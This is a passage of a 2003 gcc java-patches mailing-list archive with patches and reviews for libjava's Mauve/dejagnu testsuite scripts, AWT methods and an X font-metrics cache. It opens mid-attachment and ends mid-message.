name=mauve-exp.diff; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: libjava.mauve/mauve.exp =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.mauve/mauve.exp,v retrieving revision 1.18 diff -u -r1.18 mauve.exp --- libjava.mauve/mauve.exp 13 Jan 2003 00:22:20 -0000 1.18 +++ libjava.mauve/mauve.exp 14 Feb 2003 19:36:01 -0000 @@ -46,6 +46,12 @@ foreach file $ufiles { set file [file rootname $file].o lappend uses($item) $file + # Now add all inner classes + foreach inner [glob -nocomplain [file rootname $file]$*.class] { + # Prevent excessive escaping by replacing $ with a ^ in the .o name + set inner [string map {$ ^} [file rootname $inner]].o + lappend uses($item) $inner + } } } @@ -179,9 +185,10 @@ foreach obj $uses($file) { if {! [file exists $obj]} then { verbose "compiling $obj for test of $class" - set srcfile [file rootname $obj].class + # The .class file does contain a $, but we can quote it between "'"s. + set srcfile [string map {^ $} [file rootname $obj]].class set x [libjava_prune_warnings \ - [target_compile [pwd]/$srcfile $obj object $compile_args]] + [libjava_tcompile '[pwd]/$srcfile' $obj object $compile_args]] if {$x != ""} then { fail "Compile $obj for $class" set ok 0 @@ -196,7 +203,7 @@ } set x [libjava_prune_warnings \ - [target_compile [concat $uses($file) $objlist] \ + [libjava_tcompile [concat $uses($file) $objlist] \ $Executable executable $link_args]] if {$x != ""} then { set proc_ok 0 --=-XfdVRAnEwZGOtzVmeEbt-- From java-patches-return-6141-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 19:39:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3507 invoked by alias); 14 Feb 2003 19:39:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3500 invoked from network); 14 Feb 2003 19:39:27 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 14 Feb 2003 19:39:27 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA01307; Fri, 14 Feb 2003 12:39:26 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 704944F8072; Fri, 14 Feb 2003 12:29:45 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] gnu.java.nio - ServerSocketImpl References: <200302141305.11383.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Is there something I should be DOING with a GLAZED DONUT?? Date: 14 Feb 2003 12:29:45 -0700 In-Reply-To: <200302141305.11383.konqueror@gmx.de> Message-ID: <87smuqoe3a.fsf@fleche.redhat.com> Lines: 7 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I commited the appended patch to gnu.java.nio.ServerSocketImpl. Now in 3.3. Thanks. Tom From java-patches-return-6142-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 19:43:00 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4445 invoked by alias); 14 Feb 2003 19:43:00 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4431 invoked from network); 14 Feb 2003 19:43:00 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 14 Feb 2003 19:43:00 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA02228; Fri, 14 Feb 2003 12:42:58 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 6889B4F8072; Fri, 14 Feb 2003 12:33:17 -0700 (MST) To: Mark Wielaard Cc: java@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Mauve, inner classes and dejagnu magic References: <1045241845.30214.365.camel@elsschot> <8765rmrdxc.fsf@fleche.redhat.com> <1045251518.30214.406.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I think I am an overnight sensation right now!! Date: 14 Feb 2003 12:33:17 -0700 In-Reply-To: <1045251518.30214.406.camel@elsschot> Message-ID: <87of5eodxe.fsf@fleche.redhat.com> Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> Something similar should be possible for the PR1343 case. I will Mark> see if I can come up with a patch. That would be excellent. Mark> OK for mainline and branch? It makes ClassTest compile/link Mark> again and with this I can enable the ObjectInputOutput tests Mark> later. Yes, thanks. Tom From java-patches-return-6143-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 21:07:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6697 invoked by alias); 14 Feb 2003 21:07:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6687 invoked from network); 14 Feb 2003 21:07:25 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 172.16.49.205 with SMTP; 14 Feb 2003 21:07:25 -0000 Received: from 192.168.1.3 (dynadsl-080-228-66-206.ewetel.net [80.228.66.206]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1EL7LGH014206; Fri, 14 Feb 2003 22:07:23 +0100 (MET) From: Michael Koch To: tromey@redhat.com Subject: Re: [PATCH] java.awt Date: Fri, 14 Feb 2003 22:07:09 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200302141155.26238.konqueror@gmx.de> <87wuk2pyjd.fsf@fleche.redhat.com> In-Reply-To: <87wuk2pyjd.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200302142207.09121.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Freitag, 14. Februar 2003 18:22 schrieb Tom Tromey: > >>>>> "Michael" =3D=3D Michael Koch writes: > > Michael> I have written another java.awt patch. This mostly > implements some Michael> missing methods (getListeners and friends) > and removes some unneeded Michael> "implements Serializable". > Please review and comment. > > Looks great, though I have one question (see below). > > Michael> Of course this should go into classpath too. > > Yes, thanks. > > BTW if you ever feel like reindenting some of the old-style AWT > code, feel free. Just do it as a separate reformatting patch; > simple formatting changes don't require approval. I know. I remember someone (probably Mark Wielaard but I'm not sure)=20 said that he will run an indentation app over the classpath source.=20 Thats why I dont started reindenting all stuff. > Michael> + return Class.forName ("java.nio.ByteBuffer") > Michael> + .isAssignableFrom > (representationClass); > > I'm curious about this code. > Why not use instanceof? java.nio.ByteBuffer is in both code bases, > and is compiled. I'd prefer this, unless there's a reason against > it. Hmm, it was the easiest solution I found. When using the following I need to catch IllegalAccessException: return (representationClass.newInstance() instanceof ByteBuffer); Am I blind or do I think too chaotic ? Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+TVp9WSOgCCdjSDsRAkWYAJ9hSwkufw9+lmrQrQGDnYVsFhTlNQCcCXu6 AZfSM4upLwvAlnvOBOVUG8g=3D =3DU3O1 =2D----END PGP SIGNATURE----- From java-patches-return-6144-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 21:55:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17328 invoked by alias); 14 Feb 2003 21:55:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17320 invoked from network); 14 Feb 2003 21:55:54 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 14 Feb 2003 21:55:54 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18jnns-0006x3-00; Fri, 14 Feb 2003 22:55:28 +0100 Subject: Re: Mauve, inner classes and dejagnu magic From: Mark Wielaard To: tromey@redhat.com Cc: java-patches@gcc.gnu.org In-Reply-To: <87of5eodxe.fsf@fleche.redhat.com> References: <1045241845.30214.365.camel@elsschot> <8765rmrdxc.fsf@fleche.redhat.com> <1045251518.30214.406.camel@elsschot> <87of5eodxe.fsf@fleche.redhat.com> Content-Type: multipart/mixed; boundary="=-TVh/fdApqLY+jbJL5k3o" Organization: Message-Id: <1045259745.30202.420.camel@elsschot> Mime-Version: 1.0 Date: 14 Feb 2003 22:55:45 +0100 --=-TVh/fdApqLY+jbJL5k3o Content-Type: text/plain Content-Transfer-Encoding: 7bit On Fri, 2003-02-14 at 20:33, Tom Tromey wrote: > >>>>> "Mark" == Mark Wielaard writes: > > Mark> Something similar should be possible for the PR1343 case. I will > Mark> see if I can come up with a patch. > > That would be excellent. OK. The same trick works here: 2003-02-14 Mark Wielaard * lib/libjava.exp (test_libjava_from_javac): Don't create .o files containing $ characters and always quote class files with "'"s. With this the PR1343 compile failures are finally gone. I am installing it on mainline and branch. Cheers, Mark --=-TVh/fdApqLY+jbJL5k3o Content-Disposition: inline; filename=libjava-exp.diff Content-Type: text/x-patch; name=libjava-exp.diff; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: lib/libjava.exp =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/lib/libjava.exp,v retrieving revision 1.46.2.2 diff -u -r1.46.2.2 libjava.exp --- lib/libjava.exp 31 Jan 2003 18:09:09 -0000 1.46.2.2 +++ lib/libjava.exp 14 Feb 2003 21:52:32 -0000 @@ -787,8 +787,10 @@ if {$mode == "compile"} { foreach c_file $class_files { set executable [file rootname [file tail $c_file]].o + # Don't write files which contain $ chars. + set executable [string map {$ ^} $executable] set x [libjava_prune_warnings \ - [libjava_tcompile $c_file "$executable" $type $args]] + [libjava_tcompile '$c_file' "$executable" $type $args]] lappend removeList $executable if {$x != ""} { break --=-TVh/fdApqLY+jbJL5k3o-- From java-patches-return-6145-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 22:05:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20651 invoked by alias); 14 Feb 2003 22:05:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20644 invoked from network); 14 Feb 2003 22:05:26 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 14 Feb 2003 22:05:26 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA07860; Fri, 14 Feb 2003 15:05:23 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 2C82F4F8072; Fri, 14 Feb 2003 14:55:43 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.awt References: <200302141155.26238.konqueror@gmx.de> <87wuk2pyjd.fsf@fleche.redhat.com> <200302142207.09121.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. are the STEWED PRUNES still in the HAIR DRYER? Date: 14 Feb 2003 14:55:43 -0700 In-Reply-To: <200302142207.09121.konqueror@gmx.de> Message-ID: <873cmqo7c0.fsf@fleche.redhat.com> Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Michael> When using the following I need to catch IllegalAccessException: Michael> return (representationClass.newInstance() instanceof ByteBuffer); Sorry, I didn't read closely enough. instanceof won't work. But how about java.nio.ByteBuffer.class.isAssignableFrom(representationClass) I think that's more idiomatic than using Class.forName. Tom From java-patches-return-6146-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 22:29:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3099 invoked by alias); 14 Feb 2003 22:29:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3092 invoked from network); 14 Feb 2003 22:29:21 -0000 Received: from unknown (HELO mail.eol.ca) (205.189.151.1) by 172.16.49.205 with SMTP; 14 Feb 2003 22:29:21 -0000 Received: from mantatest.com (static-1M-b1-60.highspeed.eol.ca [64.56.237.60]) by mail.eol.ca (Postfix) with SMTP id 56684417F3 for ; Fri, 14 Feb 2003 17:32:16 -0500 (EST) Received: from scott ([192.168.22.60]) by mantatest.com ( IA Mail Server Version: 3.2.4. Build: 1096 ) ) ; Fri, 14 Feb 2003 17:26:44 -0500 Message-ID: <04a101c2d478$131d3340$3c16a8c0@mantatest.com> From: "Scott Gilbertson" To: "Tom Tromey" Cc: Subject: Re: PATCH: XGraphicsConfiguration implement font metrics cache Date: Fri, 14 Feb 2003 17:26:10 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_049C_01C2D44E.2A3E0380" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 This is a multi-part message in MIME format. ------=_NextPart_000_049C_01C2D44E.2A3E0380 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit My earlier patch caught NullPointerException to detect a failure to find a 10646-1 font, whereupon it would re-try without specifying the character set. That used to work because of a side-effect from some of my diagnostic code. Really, it should have been catching XException, because that's what gets thrown if XLoadQueryFont returns null. The revised patch against the 3.3 branch is attached. It's just like the old patch except that it now catches XException. Index: libjava/ChangeLog from Scott Gilbertson * gnu/awt/xlib/XGraphicsConfiguration.java (FontMetricsCache) : New inner class (CACHE_SIZE_PER_DISPLAY) : New field (fontMetricsCache) : New field (getXFontMetrics) : Use fontMetricsCache to cache fonts. Prefer loading ISO10646-1 fonts. ------=_NextPart_000_049C_01C2D44E.2A3E0380 Content-Type: application/octet-stream; name="20030214_FontCache.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="20030214_FontCache.patch" diff -r -up gcc.patched/libjava/gnu/awt/xlib/XGraphicsConfiguration.java = gcc/libjava/gnu/awt/xlib/XGraphicsConfiguration.java=0A= --- gcc.patched/libjava/gnu/awt/xlib/XGraphicsConfiguration.java = 2003-02-14 15:54:24.000000000 -0500=0A= +++ gcc/libjava/gnu/awt/xlib/XGraphicsConfiguration.java 2003-02-14 = 15:56:02.000000000 -0500=0A= @@ -16,6 +16,7 @@ import java.awt.GraphicsDevice;=0A= import java.awt.Point;=0A= import java.awt.Color;=0A= import java.awt.color.ColorSpace;=0A= +import java.awt.Font;=0A= import java.awt.image.*;=0A= import java.awt.geom.AffineTransform;=0A= import gnu.gcj.xlib.GC;=0A= @@ -27,7 +28,9 @@ import gnu.gcj.xlib.Colormap;=0A= import gnu.gcj.xlib.XColor;=0A= import gnu.gcj.xlib.Screen;=0A= import gnu.gcj.xlib.Display;=0A= +import gnu.gcj.xlib.XException;=0A= import gnu.java.awt.Buffers;=0A= +import java.util.Enumeration;=0A= import java.util.Hashtable;=0A= =0A= public class XGraphicsConfiguration extends GraphicsConfiguration=0A= @@ -39,6 +42,104 @@ public class XGraphicsConfiguration exte=0A= Colormap colormap;=0A= ColorModel imageCM;=0A= ColorModel pixelCM;=0A= + private static final int CACHE_SIZE_PER_DISPLAY =3D 10;=0A= + static FontMetricsCache fontMetricsCache =3D new FontMetricsCache ();=0A= + =0A= + /** Font metrics cache class. Caches at most CACHE_SIZE_PER_DISPLAY=0A= + * XFontMetrics objects for each display device. When a display's = cache=0A= + * gets full, the least-recently used entry is overwritten.=0A= + * XXX: lruOrder rolls over after a few billion operations, so it = might=0A= + * on very rare occasions misinterpret which is the oldest entry=0A= + */=0A= + class FontMetricsCache=0A= + {=0A= + private java.util.Hashtable displays =3D new java.util.Hashtable ();=0A= + =0A= + /** Font metrics cache for a display device=0A= + */=0A= + class PerDisplayCache=0A= + {=0A= + private int lruCount =3D 0;=0A= + private java.util.Hashtable entries =3D new java.util.Hashtable = ();=0A= + =0A= + class CacheEntry=0A= + {=0A= + int lruOrder;=0A= + XFontMetrics fm;=0A= + Font font;=0A= + }=0A= + =0A= + /** Get an entry (null if not there) and update LRU ordering=0A= + */=0A= + XFontMetrics get (Font font)=0A= + {=0A= + CacheEntry entry =3D (CacheEntry)entries.get (font);=0A= + if (entry !=3D null)=0A= + {=0A= + entry.lruOrder =3D lruCount++;=0A= + }=0A= + return (entry=3D=3Dnull) ? null : entry.fm;=0A= + }=0A= + =0A= + /** Put an entry in the cache, eliminating the oldest entry if=0A= + * the cache is at capacity.=0A= + */=0A= + void put (Font font, XFontMetrics fontMetrics)=0A= + {=0A= + if (entries.size () >=3D CACHE_SIZE_PER_DISPLAY)=0A= + {=0A= + // cache is full -- eliminate the oldest entry=0A= + // slow operation, but shouldn't happen very often=0A= + int maxAge =3D 0;=0A= + CacheEntry oldestEntry =3D null;=0A= + int referenceCount =3D lruCount;=0A= + for (Enumeration e =3D entries.elements (); e.hasMoreElements = ();)=0A= + {=0A= + CacheEntry entry =3D (CacheEntry)e.nextElement ();=0A= + if ((referenceCount-entry.lruOrder) > maxAge)=0A= + {=0A= + maxAge =3D referenceCount-entry.lruOrder;=0A= + oldestEntry =3D entry;=0A= + }=0A= + }=0A= + if (oldestEntry !=3D null)=0A= + entries.remove (oldestEntry.font);=0A= + }=0A= + CacheEntry newEntry =3D new CacheEntry ();=0A= + newEntry.lruOrder =3D lruCount++;=0A= + newEntry.fm =3D fontMetrics;=0A= + newEntry.font =3D font;=0A= + entries.put (font,newEntry);=0A= + }=0A= + }=0A= + =0A= + /** Get the font metrics for a font, if it is present in the cache.=0A= + * @param font The AWT font for which to find the font metrics=0A= + * @param display The display, to select the cached entries for = that display=0A= + * @return The font metrics, or null if not cached=0A= + */=0A= + XFontMetrics get (Font font, Display display)=0A= + {=0A= + PerDisplayCache cache =3D (PerDisplayCache)displays.get (display);=0A= + return (cache=3D=3Dnull) ? null : cache.get (font);=0A= + }=0A= + =0A= + /** Put a font in the cache=0A= + * @param font The font=0A= + * @param display The display=0A= + * @param fontMetrics The font metrics=0A= + */=0A= + void put (Font font, Display display, XFontMetrics fontMetrics)=0A= + {=0A= + PerDisplayCache cache =3D (PerDisplayCache)displays.get (display);=0A= + if (cache =3D=3D null)=0A= + {=0A= + cache =3D new PerDisplayCache ();=0A= + displays.put (display,cache);=0A= + }=0A= + cache.put (font,fontMetrics);=0A= + }=0A= + }=0A= =0A= public XGraphicsConfiguration(Visual visual)=0A= {=0A= @@ -358,33 +459,50 @@ public class XGraphicsConfiguration exte=0A= }=0A= =0A= /* FIXME: This should be moved to XGraphicsDevice... */=0A= - XFontMetrics getXFontMetrics(java.awt.Font awtFont)=0A= + XFontMetrics getXFontMetrics (java.awt.Font awtFont)=0A= {=0A= - // FIXME: do caching...=0A= - =0A= - String family =3D "*";=0A= - String name =3D awtFont.getName();=0A= - String weight =3D awtFont.isBold() ? "bold" : "medium";=0A= - String slant =3D awtFont.isItalic() ? "i" : "r";=0A= - String addStyle =3D "*";=0A= - String pixelSize =3D "*";=0A= - String pointSize =3D awtFont.getSize() + "0";=0A= - String xres =3D "*";=0A= - String yres =3D "*";=0A= - String spacing =3D "*";=0A= - String averageWidth =3D "*";=0A= - String charset =3D "*";=0A= - =0A= - String logicalFontDescription =3D=0A= - family + "-" + name + "-" + weight + "-" +=0A= - slant + "-" + addStyle + "-" + pixelSize + "-" +=0A= - pointSize + "-" + xres + "-" + yres + "-" +=0A= - spacing + "-" + averageWidth + "-" + charset;=0A= - =0A= - Display display =3D visual.getScreen().getDisplay();=0A= - gnu.gcj.xlib.Font xfont =3D=0A= - new gnu.gcj.xlib.Font(display, logicalFontDescription);=0A= - return new XFontMetrics(xfont, awtFont);=0A= + // If the metrics object for this font is already cached, use it.=0A= + // Otherwise create and cache it.=0A= + Display display =3D visual.getScreen ().getDisplay ();=0A= + XFontMetrics fm =3D fontMetricsCache.get (awtFont,display);=0A= + if (fm =3D=3D null)=0A= + {=0A= + String foundry =3D "*";=0A= + String family =3D awtFont.getName ();=0A= + String weight =3D awtFont.isBold () ? "bold" : "medium";=0A= + String slant =3D awtFont.isItalic () ? "i" : "r";=0A= + String sWidth =3D "*";=0A= + String addStyle =3D "";=0A= + String pixelSize =3D "*";=0A= + String pointSize =3D awtFont.getSize () + "0";=0A= + String xres =3D "*";=0A= + String yres =3D "*";=0A= + String spacing =3D "*";=0A= + String averageWidth =3D "*";=0A= + String charset =3D "iso10646-1"; // because we use functions = like XDrawString16=0A= + =0A= + String logicalFontDescription =3D=0A= + "-" + // FontNameRegistry prefix=0A= + foundry + "-" + family + "-" + weight + "-" +=0A= + slant + "-" + sWidth + "-" + addStyle + "-" +=0A= + pixelSize + "-" + pointSize + "-" + xres + "-" +=0A= + yres + "-" + spacing + "-" + averageWidth + "-";=0A= + =0A= + // Try to load a Unicode font. If that doesn't work, try again, = without=0A= + // specifying the character set.=0A= + try=0A= + {=0A= + gnu.gcj.xlib.Font xfont =3D new gnu.gcj.xlib.Font (display, = logicalFontDescription + charset);=0A= + fm =3D new XFontMetrics (xfont, awtFont);=0A= + }=0A= + catch (XException e)=0A= + {=0A= + gnu.gcj.xlib.Font xfont =3D new gnu.gcj.xlib.Font (display, = logicalFontDescription + "*-*");=0A= + fm =3D new XFontMetrics (xfont, awtFont);=0A= + }=0A= + fontMetricsCache.put (awtFont,display,fm);=0A= + }=0A= + return fm;=0A= }=0A= =0A= int getPixel(Color color)=0A= ------=_NextPart_000_049C_01C2D44E.2A3E0380-- From java-patches-return-6147-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 23:38:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11236 invoked by alias); 14 Feb 2003 23:38:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11218 invoked from network); 14 Feb 2003 23:38:49 -0000 Received: from unknown (HELO faui11.informatik.uni-erlangen.de) (131.188.31.2) by 172.16.49.205 with SMTP; 14 Feb 2003 23:38:49 -0000 Received: (from weigand@localhost) by faui11.informatik.uni-erlangen.de (8.9.1/8.1.4-FAU) id AAA14569; Sat, 15 Feb 2003 00:38:41 +0100 (MET) From: Ulrich Weigand Message-Id: <200302142338.AAA14569@faui11.informatik.uni-erlangen.de> Subject: Re: Mauve, inner classes and dejagnu magic To: mark@klomp.org Date: Sat, 15 Feb 2003 00:38:41 +0100 (MET) Cc: tromey@redhat.com, java-patches@gcc.gnu.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Mark Wielaard wrote: >+ # Don't write files which contain $ chars. >+ set executable [string map {$ ^} $executable] This gives me ERROR: tcl error sourcing /mnt/dasdc1/weigand/fsf/gcc-3_3/libjava/testsuite/libjava.compile/compile.exp. ERROR: bad option "map": must be compare, first, index, last, length, match, range, tolower, toupper, trim, trimleft, trimright, wordend, or wordstart while executing "string map {$ ^} $executable" (procedure "test_libjava_from_javac" line 149) invoked from within [snip] Bye, Ulrich -- Dr. Ulrich Weigand weigand@informatik.uni-erlangen.de From java-patches-return-6148-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 23:54:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23476 invoked by alias); 14 Feb 2003 23:54:38 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23465 invoked from network); 14 Feb 2003 23:54:38 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 14 Feb 2003 23:54:38 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA03208; Fri, 14 Feb 2003 16:54:36 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 5043B4F8072; Fri, 14 Feb 2003 16:44:57 -0700 (MST) To: Ulrich Weigand Cc: mark@klomp.org, java-patches@gcc.gnu.org Subject: Re: Mauve, inner classes and dejagnu magic References: <200302142338.AAA14569@faui11.informatik.uni-erlangen.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Yow! STYROFOAM.. Date: 14 Feb 2003 16:44:57 -0700 In-Reply-To: <200302142338.AAA14569@faui11.informatik.uni-erlangen.de> Message-ID: <87k7g2mnpi.fsf@fleche.redhat.com> Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Ulrich> "string map {$ ^} $executable" `string map' is a relatively new addition to Tcl. What version of Tcl are you using? (runtest --version will tell you.) I don't know what versions we're supposed to support. Anyway, rewriting this to use a regexp or something is pretty easy. Mark, could you do that? If not, tell me and I'll do it. Tom From java-patches-return-6149-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 15 01:18:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15382 invoked by alias); 15 Feb 2003 01:18:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15374 invoked from network); 15 Feb 2003 01:18:50 -0000 Received: from unknown (HELO palrel12.hp.com) (156.153.255.237) by 172.16.49.205 with SMTP; 15 Feb 2003 01:18:50 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by palrel12.hp.com (Postfix) with ESMTP id 8A7CE1C00F63; Fri, 14 Feb 2003 17:18:49 -0800 (PST) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id h1F1ImO10504; Fri, 14 Feb 2003 17:18:49 -0800 (PST) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Fri, 14 Feb 2003 17:18:48 -0800 Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19) id <17LK99FP>; Fri, 14 Feb 2003 17:18:48 -0800 Message-ID: <75A9FEBA25015040A761C1F74975667DA136A2@hplex4.hpl.hp.com> From: "Boehm, Hans" To: "'tromey@redhat.com'" , "Boehm, Hans" Cc: "'java-patches@gcc.gnu.org'" Subject: RE: Possible awt patches Date: Fri, 14 Feb 2003 17:18:47 -0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C2D490.308E3380" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C2D490.308E3380 Content-Type: text/plain; charset="iso-8859-1" Here is a bigger version of the patch. It fixes enough bugs to almost make CRCalc usable. (CRCalc works if you use purely the mouse and not the keyboard.) I have a bit more confidence in this version as a result. I'm still not positive about the guesses for getPreferredSize. If I take those out, I get NullPointerExceptions on the result, but those seem to be caught somewhere. I'd be inclined to put in the guess, simply because it makes debugging easier. The setFont part of the patch is also a bit dubious. I don't think it's quite doing the right thing. (The basic problem is that an AWT setFont request should presumably be propagated down the widget tree. I don't think that true for GTK. Furthermore some of the GTK widgets that might be affected are not directly visible at the Component level, so it seems that the subclasses have to be involved. Hence the partially replicated code.) I do believe that it moves us closer to correct code. Hence I would like to check it in, at least in the absence of a better patch by a GTK expert. OK for trunk? What about 3.3? Hans > -----Original Message----- > From: Tom Tromey [mailto:tromey@redhat.com] > Sent: Monday, February 10, 2003 4:06 PM > To: Boehm, Hans > Cc: 'java@gcc.gnu.org' > Subject: Re: Possible awt patches > > > >>>>> "Hans" == Boehm, Hans writes: > > Hans> I've been trying to get the GUI version of my constructive reals > Hans> calculator to work with gcj. > > Excellent. > > Hans> If someone can verify that I'm not just covering up other > Hans> problems, I'll be happy to add ChangeLog entries and check them > Hans> in: > > They all look reasonable to me. > Note that AWT (the base code and the Gtk peers) is 100% merged, so all > patches have to go in to Classpath as well. I can take care of this > though. > > Hans> 1) setVisible calls didn't seem to invoke the right overridden > Hans> show calls. The comments seemed to imply that the current code > Hans> was incorrect. 